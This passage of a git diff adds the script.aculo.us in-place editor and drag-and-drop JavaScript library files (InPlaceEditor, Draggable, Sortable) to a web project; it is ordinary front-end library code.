+ + if(!this.options.formId && this.element.id) { + this.options.formId = this.element.id + "-inplaceeditor"; + if ($(this.options.formId)) { + // there's already a form with that name, don't specify an id + this.options.formId = null; + } + } + + if (this.options.externalControl) { + this.options.externalControl = $(this.options.externalControl); + } + + this.originalBackground = Element.getStyle(this.element, 'background-color'); + if (!this.originalBackground) { + this.originalBackground = "transparent"; + } + + this.element.title = this.options.clickToEditText; + + this.onclickListener = this.enterEditMode.bindAsEventListener(this); + this.mouseoverListener = this.enterHover.bindAsEventListener(this); + this.mouseoutListener = this.leaveHover.bindAsEventListener(this); + Event.observe(this.element, 'click', this.onclickListener); + Event.observe(this.element, 'mouseover', this.mouseoverListener); + Event.observe(this.element, 'mouseout', this.mouseoutListener); + if (this.options.externalControl) { + Event.observe(this.options.externalControl, 'click', this.onclickListener); + Event.observe(this.options.externalControl, 'mouseover', this.mouseoverListener); + Event.observe(this.options.externalControl, 'mouseout', this.mouseoutListener); + } + }, + enterEditMode: function(evt) { + if (this.saving) return; + if (this.editing) return; + this.editing = true; + this.onEnterEditMode(); + if (this.options.externalControl) { + Element.hide(this.options.externalControl); + } + Element.hide(this.element); + this.createForm(); + this.element.parentNode.insertBefore(this.form, this.element); + if (!this.options.loadTextURL) Field.scrollFreeActivate(this.editField); + // stop the event to avoid a page refresh in Safari + if (evt) { + Event.stop(evt); + } + return false; + }, + createForm: function() { + this.form = document.createElement("form"); + this.form.id = this.options.formId; + Element.addClassName(this.form, this.options.formClassName) + this.form.onsubmit = this.onSubmit.bind(this); + + this.createEditField(); + + if (this.options.textarea) { + var br = document.createElement("br"); + this.form.appendChild(br); + } + + if (this.options.textBeforeControls) + this.form.appendChild(document.createTextNode(this.options.textBeforeControls)); + + if (this.options.okButton) { + var okButton = document.createElement("input"); + okButton.type = "submit"; + okButton.value = this.options.okText; + okButton.className = 'editor_ok_button'; + this.form.appendChild(okButton); + } + + if (this.options.okLink) { + var okLink = document.createElement("a"); + okLink.href = "#"; + okLink.appendChild(document.createTextNode(this.options.okText)); + okLink.onclick = this.onSubmit.bind(this); + okLink.className = 'editor_ok_link'; + this.form.appendChild(okLink); + } + + if (this.options.textBetweenControls && + (this.options.okLink || this.options.okButton) && + (this.options.cancelLink || this.options.cancelButton)) + this.form.appendChild(document.createTextNode(this.options.textBetweenControls)); + + if (this.options.cancelButton) { + var cancelButton = document.createElement("input"); + cancelButton.type = "submit"; + cancelButton.value = this.options.cancelText; + cancelButton.onclick = this.onclickCancel.bind(this); + cancelButton.className = 'editor_cancel_button'; + this.form.appendChild(cancelButton); + } + + if (this.options.cancelLink) { + var cancelLink = document.createElement("a"); + cancelLink.href = "#"; + cancelLink.appendChild(document.createTextNode(this.options.cancelText)); + cancelLink.onclick = this.onclickCancel.bind(this); + cancelLink.className = 'editor_cancel editor_cancel_link'; + this.form.appendChild(cancelLink); + } + + if (this.options.textAfterControls) + this.form.appendChild(document.createTextNode(this.options.textAfterControls)); + }, + hasHTMLLineBreaks: function(string) { + if (!this.options.handleLineBreaks) return false; + return string.match(/
    /i); + }, + convertHTMLLineBreaks: function(string) { + return string.replace(/
    /gi, "\n").replace(//gi, "\n").replace(/<\/p>/gi, "\n").replace(/

    /gi, ""); + }, + createEditField: function() { + var text; + if(this.options.loadTextURL) { + text = this.options.loadingText; + } else { + text = this.getText(); + } + + var obj = this; + + if (this.options.rows == 1 && !this.hasHTMLLineBreaks(text)) { + this.options.textarea = false; + var textField = document.createElement("input"); + textField.obj = this; + textField.type = "text"; + textField.name = this.options.paramName; + textField.value = text; + textField.style.backgroundColor = this.options.highlightcolor; + textField.className = 'editor_field'; + var size = this.options.size || this.options.cols || 0; + if (size != 0) textField.size = size; + if (this.options.submitOnBlur) + textField.onblur = this.onSubmit.bind(this); + this.editField = textField; + } else { + this.options.textarea = true; + var textArea = document.createElement("textarea"); + textArea.obj = this; + textArea.name = this.options.paramName; + textArea.value = this.convertHTMLLineBreaks(text); + textArea.rows = this.options.rows; + textArea.cols = this.options.cols || 40; + textArea.className = 'editor_field'; + if (this.options.submitOnBlur) + textArea.onblur = this.onSubmit.bind(this); + this.editField = textArea; + } + + if(this.options.loadTextURL) { + this.loadExternalText(); + } + this.form.appendChild(this.editField); + }, + getText: function() { + return this.element.innerHTML; + }, + loadExternalText: function() { + Element.addClassName(this.form, this.options.loadingClassName); + this.editField.disabled = true; + new Ajax.Request( + this.options.loadTextURL, + Object.extend({ + asynchronous: true, + onComplete: this.onLoadedExternalText.bind(this) + }, this.options.ajaxOptions) + ); + }, + onLoadedExternalText: function(transport) { + Element.removeClassName(this.form, this.options.loadingClassName); + this.editField.disabled = false; + this.editField.value = transport.responseText.stripTags(); + Field.scrollFreeActivate(this.editField); + }, + onclickCancel: function() { + this.onComplete(); + this.leaveEditMode(); + return false; + }, + onFailure: function(transport) { + this.options.onFailure(transport); + if (this.oldInnerHTML) { + this.element.innerHTML = this.oldInnerHTML; + this.oldInnerHTML = null; + } + return false; + }, + onSubmit: function() { + // onLoading resets these so we need to save them away for the Ajax call + var form = this.form; + var value = this.editField.value; + + // do this first, sometimes the ajax call returns before we get a chance to switch on Saving... + // which means this will actually switch on Saving... *after* we've left edit mode causing Saving... + // to be displayed indefinitely + this.onLoading(); + + if (this.options.evalScripts) { + new Ajax.Request( + this.url, Object.extend({ + parameters: this.options.callback(form, value), + onComplete: this.onComplete.bind(this), + onFailure: this.onFailure.bind(this), + asynchronous:true, + evalScripts:true + }, this.options.ajaxOptions)); + } else { + new Ajax.Updater( + { success: this.element, + // don't update on failure (this could be an option) + failure: null }, + this.url, Object.extend({ + parameters: this.options.callback(form, value), + onComplete: this.onComplete.bind(this), + onFailure: this.onFailure.bind(this) + }, this.options.ajaxOptions)); + } + // stop the event to avoid a page refresh in Safari + if (arguments.length > 1) { + Event.stop(arguments[0]); + } + return false; + }, + onLoading: function() { + this.saving = true; + this.removeForm(); + this.leaveHover(); + this.showSaving(); + }, + showSaving: function() { + this.oldInnerHTML = this.element.innerHTML; + this.element.innerHTML = this.options.savingText; + Element.addClassName(this.element, this.options.savingClassName); + this.element.style.backgroundColor = this.originalBackground; + Element.show(this.element); + }, + removeForm: function() { + if(this.form) { + if (this.form.parentNode) Element.remove(this.form); + this.form = null; + } + }, + enterHover: function() { + if (this.saving) return; + this.element.style.backgroundColor = this.options.highlightcolor; + if (this.effect) { + this.effect.cancel(); + } + Element.addClassName(this.element, this.options.hoverClassName) + }, + leaveHover: function() { + if (this.options.backgroundColor) { + this.element.style.backgroundColor = this.oldBackground; + } + Element.removeClassName(this.element, this.options.hoverClassName) + if (this.saving) return; + this.effect = new Effect.Highlight(this.element, { + startcolor: this.options.highlightcolor, + endcolor: this.options.highlightendcolor, + restorecolor: this.originalBackground + }); + }, + leaveEditMode: function() { + Element.removeClassName(this.element, this.options.savingClassName); + this.removeForm(); + this.leaveHover(); + this.element.style.backgroundColor = this.originalBackground; + Element.show(this.element); + if (this.options.externalControl) { + Element.show(this.options.externalControl); + } + this.editing = false; + this.saving = false; + this.oldInnerHTML = null; + this.onLeaveEditMode(); + }, + onComplete: function(transport) { + this.leaveEditMode(); + this.options.onComplete.bind(this)(transport, this.element); + }, + onEnterEditMode: function() {}, + onLeaveEditMode: function() {}, + dispose: function() { + if (this.oldInnerHTML) { + this.element.innerHTML = this.oldInnerHTML; + } + this.leaveEditMode(); + Event.stopObserving(this.element, 'click', this.onclickListener); + Event.stopObserving(this.element, 'mouseover', this.mouseoverListener); + Event.stopObserving(this.element, 'mouseout', this.mouseoutListener); + if (this.options.externalControl) { + Event.stopObserving(this.options.externalControl, 'click', this.onclickListener); + Event.stopObserving(this.options.externalControl, 'mouseover', this.mouseoverListener); + Event.stopObserving(this.options.externalControl, 'mouseout', this.mouseoutListener); + } + } +}; + +Ajax.InPlaceCollectionEditor = Class.create(); +Object.extend(Ajax.InPlaceCollectionEditor.prototype, Ajax.InPlaceEditor.prototype); +Object.extend(Ajax.InPlaceCollectionEditor.prototype, { + createEditField: function() { + if (!this.cached_selectTag) { + var selectTag = document.createElement("select"); + var collection = this.options.collection || []; + var optionTag; + collection.each(function(e,i) { + optionTag = document.createElement("option"); + optionTag.value = (e instanceof Array) ? e[0] : e; + if((typeof this.options.value == 'undefined') && + ((e instanceof Array) ? this.element.innerHTML == e[1] : e == optionTag.value)) optionTag.selected = true; + if(this.options.value==optionTag.value) optionTag.selected = true; + optionTag.appendChild(document.createTextNode((e instanceof Array) ? e[1] : e)); + selectTag.appendChild(optionTag); + }.bind(this)); + this.cached_selectTag = selectTag; + } + + this.editField = this.cached_selectTag; + if(this.options.loadTextURL) this.loadExternalText(); + this.form.appendChild(this.editField); + this.options.callback = function(form, value) { + return "value=" + encodeURIComponent(value); + } + } +}); + +// Delayed observer, like Form.Element.Observer, +// but waits for delay after last key input +// Ideal for live-search fields + +Form.Element.DelayedObserver = Class.create(); +Form.Element.DelayedObserver.prototype = { + initialize: function(element, delay, callback) { + this.delay = delay || 0.5; + this.element = $(element); + this.callback = callback; + this.timer = null; + this.lastValue = $F(this.element); + Event.observe(this.element,'keyup',this.delayedListener.bindAsEventListener(this)); + }, + delayedListener: function(event) { + if(this.lastValue == $F(this.element)) return; + if(this.timer) clearTimeout(this.timer); + this.timer = setTimeout(this.onTimerEvent.bind(this), this.delay * 1000); + this.lastValue = $F(this.element); + }, + onTimerEvent: function() { + this.timer = null; + this.callback(this.element, $F(this.element)); + } +}; diff --git a/public/javascripts/lib/dragdrop.js b/public/javascripts/lib/dragdrop.js new file mode 100644 index 0000000..108dd66 --- /dev/null +++ b/public/javascripts/lib/dragdrop.js @@ -0,0 +1,970 @@ +// script.aculo.us dragdrop.js v1.7.1_beta3, Fri May 25 17:19:41 +0200 2007 + +// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// (c) 2005-2007 Sammi Williams (http://www.oriontransfer.co.nz, sammi@oriontransfer.co.nz) +// +// script.aculo.us is freely distributable under the terms of an MIT-style license. +// For details, see the script.aculo.us web site: http://script.aculo.us/ + +if(typeof Effect == 'undefined') + throw("dragdrop.js requires including script.aculo.us' effects.js library"); + +var Droppables = { + drops: [], + + remove: function(element) { + this.drops = this.drops.reject(function(d) { return d.element==$(element) }); + }, + + add: function(element) { + element = $(element); + var options = Object.extend({ + greedy: true, + hoverclass: null, + tree: false + }, arguments[1] || {}); + + // cache containers + if(options.containment) { + options._containers = []; + var containment = options.containment; + if((typeof containment == 'object') && + (containment.constructor == Array)) { + containment.each( function(c) { options._containers.push($(c)) }); + } else { + options._containers.push($(containment)); + } + } + + if(options.accept) options.accept = [options.accept].flatten(); + + Element.makePositioned(element); // fix IE + options.element = element; + + this.drops.push(options); + }, + + findDeepestChild: function(drops) { + deepest = drops[0]; + + for (i = 1; i < drops.length; ++i) + if (Element.isParent(drops[i].element, deepest.element)) + deepest = drops[i]; + + return deepest; + }, + + isContained: function(element, drop) { + var containmentNode; + if(drop.tree) { + containmentNode = element.treeNode; + } else { + containmentNode = element.parentNode; + } + return drop._containers.detect(function(c) { return containmentNode == c }); + }, + + isAffected: function(point, element, drop) { + return ( + (drop.element!=element) && + ((!drop._containers) || + this.isContained(element, drop)) && + ((!drop.accept) || + (Element.classNames(element).detect( + function(v) { return drop.accept.include(v) } ) )) && + Position.within(drop.element, point[0], point[1]) ); + }, + + deactivate: function(drop) { + if(drop.hoverclass) + Element.removeClassName(drop.element, drop.hoverclass); + this.last_active = null; + }, + + activate: function(drop) { + if(drop.hoverclass) + Element.addClassName(drop.element, drop.hoverclass); + this.last_active = drop; + }, + + show: function(point, element) { + if(!this.drops.length) return; + var affected = []; + + if(this.last_active) this.deactivate(this.last_active); + this.drops.each( function(drop) { + if(Droppables.isAffected(point, element, drop)) + affected.push(drop); + }); + + if(affected.length>0) { + drop = Droppables.findDeepestChild(affected); + Position.within(drop.element, point[0], point[1]); + if(drop.onHover) + drop.onHover(element, drop.element, Position.overlap(drop.overlap, drop.element)); + + Droppables.activate(drop); + } + }, + + fire: function(event, element) { + if(!this.last_active) return; + Position.prepare(); + + if (this.isAffected([Event.pointerX(event), Event.pointerY(event)], element, this.last_active)) + if (this.last_active.onDrop) { + this.last_active.onDrop(element, this.last_active.element, event); + return true; + } + }, + + reset: function() { + if(this.last_active) + this.deactivate(this.last_active); + } +} + +var Draggables = { + drags: [], + observers: [], + + register: function(draggable) { + if(this.drags.length == 0) { + this.eventMouseUp = this.endDrag.bindAsEventListener(this); + this.eventMouseMove = this.updateDrag.bindAsEventListener(this); + this.eventKeypress = this.keyPress.bindAsEventListener(this); + + Event.observe(document, "mouseup", this.eventMouseUp); + Event.observe(document, "mousemove", this.eventMouseMove); + Event.observe(document, "keypress", this.eventKeypress); + } + this.drags.push(draggable); + }, + + unregister: function(draggable) { + this.drags = this.drags.reject(function(d) { return d==draggable }); + if(this.drags.length == 0) { + Event.stopObserving(document, "mouseup", this.eventMouseUp); + Event.stopObserving(document, "mousemove", this.eventMouseMove); + Event.stopObserving(document, "keypress", this.eventKeypress); + } + }, + + activate: function(draggable) { + if(draggable.options.delay) { + this._timeout = setTimeout(function() { + Draggables._timeout = null; + window.focus(); + Draggables.activeDraggable = draggable; + }.bind(this), draggable.options.delay); + } else { + window.focus(); // allows keypress events if window isn't currently focused, fails for Safari + this.activeDraggable = draggable; + } + }, + + deactivate: function() { + this.activeDraggable = null; + }, + + updateDrag: function(event) { + if(!this.activeDraggable) return; + var pointer = [Event.pointerX(event), Event.pointerY(event)]; + // Mozilla-based browsers fire successive mousemove events with + // the same coordinates, prevent needless redrawing (moz bug?) + if(this._lastPointer && (this._lastPointer.inspect() == pointer.inspect())) return; + this._lastPointer = pointer; + + this.activeDraggable.updateDrag(event, pointer); + }, + + endDrag: function(event) { + if(this._timeout) { + clearTimeout(this._timeout); + this._timeout = null; + } + if(!this.activeDraggable) return; + this._lastPointer = null; + this.activeDraggable.endDrag(event); + this.activeDraggable = null; + }, + + keyPress: function(event) { + if(this.activeDraggable) + this.activeDraggable.keyPress(event); + }, + + addObserver: function(observer) { + this.observers.push(observer); + this._cacheObserverCallbacks(); + }, + + removeObserver: function(element) { // element instead of observer fixes mem leaks + this.observers = this.observers.reject( function(o) { return o.element==element }); + this._cacheObserverCallbacks(); + }, + + notify: function(eventName, draggable, event) { // 'onStart', 'onEnd', 'onDrag' + if(this[eventName+'Count'] > 0) + this.observers.each( function(o) { + if(o[eventName]) o[eventName](eventName, draggable, event); + }); + if(draggable.options[eventName]) draggable.options[eventName](draggable, event); + }, + + _cacheObserverCallbacks: function() { + ['onStart','onEnd','onDrag'].each( function(eventName) { + Draggables[eventName+'Count'] = Draggables.observers.select( + function(o) { return o[eventName]; } + ).length; + }); + } +} + +/*--------------------------------------------------------------------------*/ + +var Draggable = Class.create(); +Draggable._dragging = {}; + +Draggable.prototype = { + initialize: function(element) { + var defaults = { + handle: false, + reverteffect: function(element, top_offset, left_offset) { + var dur = Math.sqrt(Math.abs(top_offset^2)+Math.abs(left_offset^2))*0.02; + new Effect.Move(element, { x: -left_offset, y: -top_offset, duration: dur, + queue: {scope:'_draggable', position:'end'} + }); + }, + endeffect: function(element) { + var toOpacity = typeof element._opacity == 'number' ? element._opacity : 1.0; + new Effect.Opacity(element, {duration:0.2, from:0.7, to:toOpacity, + queue: {scope:'_draggable', position:'end'}, + afterFinish: function(){ + Draggable._dragging[element] = false + } + }); + }, + zindex: 1000, + revert: false, + quiet: false, + scroll: false, + scrollSensitivity: 20, + scrollSpeed: 15, + snap: false, // false, or xy or [x,y] or function(x,y){ return [x,y] } + delay: 0 + }; + + if(!arguments[1] || typeof arguments[1].endeffect == 'undefined') + Object.extend(defaults, { + starteffect: function(element) { + element._opacity = Element.getOpacity(element); + Draggable._dragging[element] = true; + new Effect.Opacity(element, {duration:0.2, from:element._opacity, to:0.7}); + } + }); + + var options = Object.extend(defaults, arguments[1] || {}); + + this.element = $(element); + + if(options.handle && (typeof options.handle == 'string')) + this.handle = this.element.down('.'+options.handle, 0); + + if(!this.handle) this.handle = $(options.handle); + if(!this.handle) this.handle = this.element; + + if(options.scroll && !options.scroll.scrollTo && !options.scroll.outerHTML) { + options.scroll = $(options.scroll); + this._isScrollChild = Element.childOf(this.element, options.scroll); + } + + Element.makePositioned(this.element); // fix IE + + this.delta = this.currentDelta(); + this.options = options; + this.dragging = false; + + this.eventMouseDown = this.initDrag.bindAsEventListener(this); + Event.observe(this.handle, "mousedown", this.eventMouseDown); + + Draggables.register(this); + }, + + destroy: function() { + Event.stopObserving(this.handle, "mousedown", this.eventMouseDown); + Draggables.unregister(this); + }, + + currentDelta: function() { + return([ + parseInt(Element.getStyle(this.element,'left') || '0'), + parseInt(Element.getStyle(this.element,'top') || '0')]); + }, + + initDrag: function(event) { + if(typeof Draggable._dragging[this.element] != 'undefined' && + Draggable._dragging[this.element]) return; + if(Event.isLeftClick(event)) { + // abort on form elements, fixes a Firefox issue + var src = Event.element(event); + if((tag_name = src.tagName.toUpperCase()) && ( + tag_name=='INPUT' || + tag_name=='SELECT' || + tag_name=='OPTION' || + tag_name=='BUTTON' || + tag_name=='TEXTAREA')) return; + + var pointer = [Event.pointerX(event), Event.pointerY(event)]; + var pos = Position.cumulativeOffset(this.element); + this.offset = [0,1].map( function(i) { return (pointer[i] - pos[i]) }); + + Draggables.activate(this); + Event.stop(event); + } + }, + + startDrag: function(event) { + this.dragging = true; + + if(this.options.zindex) { + this.originalZ = parseInt(Element.getStyle(this.element,'z-index') || 0); + this.element.style.zIndex = this.options.zindex; + } + + if(this.options.ghosting) { + this._clone = this.element.cloneNode(true); + Position.absolutize(this.element); + this.element.parentNode.insertBefore(this._clone, this.element); + } + + if(this.options.scroll) { + if (this.options.scroll == window) { + var where = this._getWindowScroll(this.options.scroll); + this.originalScrollLeft = where.left; + this.originalScrollTop = where.top; + } else { + this.originalScrollLeft = this.options.scroll.scrollLeft; + this.originalScrollTop = this.options.scroll.scrollTop; + } + } + + Draggables.notify('onStart', this, event); + + if(this.options.starteffect) this.options.starteffect(this.element); + }, + + updateDrag: function(event, pointer) { + if(!this.dragging) this.startDrag(event); + + if(!this.options.quiet){ + Position.prepare(); + Droppables.show(pointer, this.element); + } + + Draggables.notify('onDrag', this, event); + + this.draw(pointer); + if(this.options.change) this.options.change(this); + + if(this.options.scroll) { + this.stopScrolling(); + + var p; + if (this.options.scroll == window) { + with(this._getWindowScroll(this.options.scroll)) { p = [ left, top, left+width, top+height ]; } + } else { + p = Position.page(this.options.scroll); + p[0] += this.options.scroll.scrollLeft + Position.deltaX; + p[1] += this.options.scroll.scrollTop + Position.deltaY; + p.push(p[0]+this.options.scroll.offsetWidth); + p.push(p[1]+this.options.scroll.offsetHeight); + } + var speed = [0,0]; + if(pointer[0] < (p[0]+this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[0]+this.options.scrollSensitivity); + if(pointer[1] < (p[1]+this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[1]+this.options.scrollSensitivity); + if(pointer[0] > (p[2]-this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[2]-this.options.scrollSensitivity); + if(pointer[1] > (p[3]-this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[3]-this.options.scrollSensitivity); + this.startScrolling(speed); + } + + // fix AppleWebKit rendering + if(Prototype.Browser.WebKit) window.scrollBy(0,0); + + Event.stop(event); + }, + + finishDrag: function(event, success) { + this.dragging = false; + + if(this.options.quiet){ + Position.prepare(); + var pointer = [Event.pointerX(event), Event.pointerY(event)]; + Droppables.show(pointer, this.element); + } + + if(this.options.ghosting) { + Position.relativize(this.element); + Element.remove(this._clone); + this._clone = null; + } + + var dropped = false; + if(success) { + dropped = Droppables.fire(event, this.element); + if (!dropped) dropped = false; + } + if(dropped && this.options.onDropped) this.options.onDropped(this.element); + Draggables.notify('onEnd', this, event); + + var revert = this.options.revert; + if(revert && typeof revert == 'function') revert = revert(this.element); + + var d = this.currentDelta(); + if(revert && this.options.reverteffect) { + if (dropped == 0 || revert != 'failure') + this.options.reverteffect(this.element, + d[1]-this.delta[1], d[0]-this.delta[0]); + } else { + this.delta = d; + } + + if(this.options.zindex) + this.element.style.zIndex = this.originalZ; + + if(this.options.endeffect) + this.options.endeffect(this.element); + + Draggables.deactivate(this); + Droppables.reset(); + }, + + keyPress: function(event) { + if(event.keyCode!=Event.KEY_ESC) return; + this.finishDrag(event, false); + Event.stop(event); + }, + + endDrag: function(event) { + if(!this.dragging) return; + this.stopScrolling(); + this.finishDrag(event, true); + Event.stop(event); + }, + + draw: function(point) { + var pos = Position.cumulativeOffset(this.element); + if(this.options.ghosting) { + var r = Position.realOffset(this.element); + pos[0] += r[0] - Position.deltaX; pos[1] += r[1] - Position.deltaY; + } + + var d = this.currentDelta(); + pos[0] -= d[0]; pos[1] -= d[1]; + + if(this.options.scroll && (this.options.scroll != window && this._isScrollChild)) { + pos[0] -= this.options.scroll.scrollLeft-this.originalScrollLeft; + pos[1] -= this.options.scroll.scrollTop-this.originalScrollTop; + } + + var p = [0,1].map(function(i){ + return (point[i]-pos[i]-this.offset[i]) + }.bind(this)); + + if(this.options.snap) { + if(typeof this.options.snap == 'function') { + p = this.options.snap(p[0],p[1],this); + } else { + if(this.options.snap instanceof Array) { + p = p.map( function(v, i) { + return Math.round(v/this.options.snap[i])*this.options.snap[i] }.bind(this)) + } else { + p = p.map( function(v) { + return Math.round(v/this.options.snap)*this.options.snap }.bind(this)) + } + }} + + var style = this.element.style; + if((!this.options.constraint) || (this.options.constraint=='horizontal')) + style.left = p[0] + "px"; + if((!this.options.constraint) || (this.options.constraint=='vertical')) + style.top = p[1] + "px"; + + if(style.visibility=="hidden") style.visibility = ""; // fix gecko rendering + }, + + stopScrolling: function() { + if(this.scrollInterval) { + clearInterval(this.scrollInterval); + this.scrollInterval = null; + Draggables._lastScrollPointer = null; + } + }, + + startScrolling: function(speed) { + if(!(speed[0] || speed[1])) return; + this.scrollSpeed = [speed[0]*this.options.scrollSpeed,speed[1]*this.options.scrollSpeed]; + this.lastScrolled = new Date(); + this.scrollInterval = setInterval(this.scroll.bind(this), 10); + }, + + scroll: function() { + var current = new Date(); + var delta = current - this.lastScrolled; + this.lastScrolled = current; + if(this.options.scroll == window) { + with (this._getWindowScroll(this.options.scroll)) { + if (this.scrollSpeed[0] || this.scrollSpeed[1]) { + var d = delta / 1000; + this.options.scroll.scrollTo( left + d*this.scrollSpeed[0], top + d*this.scrollSpeed[1] ); + } + } + } else { + this.options.scroll.scrollLeft += this.scrollSpeed[0] * delta / 1000; + this.options.scroll.scrollTop += this.scrollSpeed[1] * delta / 1000; + } + + Position.prepare(); + Droppables.show(Draggables._lastPointer, this.element); + Draggables.notify('onDrag', this); + if (this._isScrollChild) { + Draggables._lastScrollPointer = Draggables._lastScrollPointer || $A(Draggables._lastPointer); + Draggables._lastScrollPointer[0] += this.scrollSpeed[0] * delta / 1000; + Draggables._lastScrollPointer[1] += this.scrollSpeed[1] * delta / 1000; + if (Draggables._lastScrollPointer[0] < 0) + Draggables._lastScrollPointer[0] = 0; + if (Draggables._lastScrollPointer[1] < 0) + Draggables._lastScrollPointer[1] = 0; + this.draw(Draggables._lastScrollPointer); + } + + if(this.options.change) this.options.change(this); + }, + + _getWindowScroll: function(w) { + var T, L, W, H; + with (w.document) { + if (w.document.documentElement && documentElement.scrollTop) { + T = documentElement.scrollTop; + L = documentElement.scrollLeft; + } else if (w.document.body) { + T = body.scrollTop; + L = body.scrollLeft; + } + if (w.innerWidth) { + W = w.innerWidth; + H = w.innerHeight; + } else if (w.document.documentElement && documentElement.clientWidth) { + W = documentElement.clientWidth; + H = documentElement.clientHeight; + } else { + W = body.offsetWidth; + H = body.offsetHeight + } + } + return { top: T, left: L, width: W, height: H }; + } +} + +/*--------------------------------------------------------------------------*/ + +var SortableObserver = Class.create(); +SortableObserver.prototype = { + initialize: function(element, observer) { + this.element = $(element); + this.observer = observer; + this.lastValue = Sortable.serialize(this.element); + }, + + onStart: function() { + this.lastValue = Sortable.serialize(this.element); + }, + + onEnd: function() { + Sortable.unmark(); + if(this.lastValue != Sortable.serialize(this.element)) + this.observer(this.element) + } +} + +var Sortable = { + SERIALIZE_RULE: /^[^_\-](?:[A-Za-z0-9\-\_]*)[_](.*)$/, + + sortables: {}, + + _findRootElement: function(element) { + while (element.tagName.toUpperCase() != "BODY") { + if(element.id && Sortable.sortables[element.id]) return element; + element = element.parentNode; + } + }, + + options: function(element) { + element = Sortable._findRootElement($(element)); + if(!element) return; + return Sortable.sortables[element.id]; + }, + + destroy: function(element){ + var s = Sortable.options(element); + + if(s) { + Draggables.removeObserver(s.element); + s.droppables.each(function(d){ Droppables.remove(d) }); + s.draggables.invoke('destroy'); + + delete Sortable.sortables[s.element.id]; + } + }, + + create: function(element) { + element = $(element); + var options = Object.extend({ + element: element, + tag: 'li', // assumes li children, override with tag: 'tagname' + dropOnEmpty: false, + tree: false, + treeTag: 'ul', + overlap: 'vertical', // one of 'vertical', 'horizontal' + constraint: 'vertical', // one of 'vertical', 'horizontal', false + containment: element, // also takes array of elements (or id's); or false + handle: false, // or a CSS class + only: false, + delay: 0, + hoverclass: null, + ghosting: false, + quiet: false, + scroll: false, + scrollSensitivity: 20, + scrollSpeed: 15, + format: this.SERIALIZE_RULE, + + // these take arrays of elements or ids and can be + // used for better initialization performance + elements: false, + handles: false, + + onChange: Prototype.emptyFunction, + onUpdate: Prototype.emptyFunction + }, arguments[1] || {}); + + // clear any old sortable with same element + this.destroy(element); + + // build options for the draggables + var options_for_draggable = { + revert: true, + quiet: options.quiet, + scroll: options.scroll, + scrollSpeed: options.scrollSpeed, + scrollSensitivity: options.scrollSensitivity, + delay: options.delay, + ghosting: options.ghosting, + constraint: options.constraint, + handle: options.handle }; + + if(options.starteffect) + options_for_draggable.starteffect = options.starteffect; + + if(options.reverteffect) + options_for_draggable.reverteffect = options.reverteffect; + else + if(options.ghosting) options_for_draggable.reverteffect = function(element) { + element.style.top = 0; + element.style.left = 0; + }; + + if(options.endeffect) + options_for_draggable.endeffect = options.endeffect; + + if(options.zindex) + options_for_draggable.zindex = options.zindex; + + // build options for the droppables + var options_for_droppable = { + overlap: options.overlap, + containment: options.containment, + tree: options.tree, + hoverclass: options.hoverclass, + onHover: Sortable.onHover + } + + var options_for_tree = { + onHover: Sortable.onEmptyHover, + overlap: options.overlap, + containment: options.containment, + hoverclass: options.hoverclass + } + + // fix for gecko engine + Element.cleanWhitespace(element); + + options.draggables = []; + options.droppables = []; + + // drop on empty handling + if(options.dropOnEmpty || options.tree) { + Droppables.add(element, options_for_tree); + options.droppables.push(element); + } + + (options.elements || this.findElements(element, options) || []).each( function(e,i) { + var handle = options.handles ? $(options.handles[i]) : + (options.handle ? $(e).getElementsByClassName(options.handle)[0] : e); + options.draggables.push( + new Draggable(e, Object.extend(options_for_draggable, { handle: handle }))); + Droppables.add(e, options_for_droppable); + if(options.tree) e.treeNode = element; + options.droppables.push(e); + }); + + if(options.tree) { + (Sortable.findTreeElements(element, options) || []).each( function(e) { + Droppables.add(e, options_for_tree); + e.treeNode = element; + options.droppables.push(e); + }); + } + + // keep reference + this.sortables[element.id] = options; + + // for onupdate + Draggables.addObserver(new SortableObserver(element, options.onUpdate)); + + }, + + // return all suitable-for-sortable elements in a guaranteed order + findElements: function(element, options) { + return Element.findChildren( + element, options.only, options.tree ? true : false, options.tag); + }, + + findTreeElements: function(element, options) { + return Element.findChildren( + element, options.only, options.tree ? true : false, options.treeTag); + }, + + onHover: function(element, dropon, overlap) { + if(Element.isParent(dropon, element)) return; + + if(overlap > .33 && overlap < .66 && Sortable.options(dropon).tree) { + return; + } else if(overlap>0.5) { + Sortable.mark(dropon, 'before'); + if(dropon.previousSibling != element) { + var oldParentNode = element.parentNode; + element.style.visibility = "hidden"; // fix gecko rendering + dropon.parentNode.insertBefore(element, dropon); + if(dropon.parentNode!=oldParentNode) + Sortable.options(oldParentNode).onChange(element); + Sortable.options(dropon.parentNode).onChange(element); + } + } else { + Sortable.mark(dropon, 'after'); + var nextElement = dropon.nextSibling || null; + if(nextElement != element) { + var oldParentNode = element.parentNode; + element.style.visibility = "hidden"; // fix gecko rendering + dropon.parentNode.insertBefore(element, nextElement); + if(dropon.parentNode!=oldParentNode) + Sortable.options(oldParentNode).onChange(element); + Sortable.options(dropon.parentNode).onChange(element); + } + } + }, + + onEmptyHover: function(element, dropon, overlap) { + var oldParentNode = element.parentNode; + var droponOptions = Sortable.options(dropon); + + if(!Element.isParent(dropon, element)) { + var index; + + var children = Sortable.findElements(dropon, {tag: droponOptions.tag, only: droponOptions.only}); + var child = null; + + if(children) { + var offset = Element.offsetSize(dropon, droponOptions.overlap) * (1.0 - overlap); + + for (index = 0; index < children.length; index += 1) { + if (offset - Element.offsetSize (children[index], droponOptions.overlap) >= 0) { + offset -= Element.offsetSize (children[index], droponOptions.overlap); + } else if (offset - (Element.offsetSize (children[index], droponOptions.overlap) / 2) >= 0) { + child = index + 1 < children.length ? children[index + 1] : null; + break; + } else { + child = children[index]; + break; + } + } + } + + dropon.insertBefore(element, child); + + Sortable.options(oldParentNode).onChange(element); + droponOptions.onChange(element); + } + }, + + unmark: function() { + if(Sortable._marker) Sortable._marker.hide(); + }, + + mark: function(dropon, position) { + // mark on ghosting only + var sortable = Sortable.options(dropon.parentNode); + if(sortable && !sortable.ghosting) return; + + if(!Sortable._marker) { + Sortable._marker = + ($('dropmarker') || Element.extend(document.createElement('DIV'))). + hide().addClassName('dropmarker').setStyle({position:'absolute'}); + document.getElementsByTagName("body").item(0).appendChild(Sortable._marker); + } + var offsets = Position.cumulativeOffset(dropon); + Sortable._marker.setStyle({left: offsets[0]+'px', top: offsets[1] + 'px'}); + + 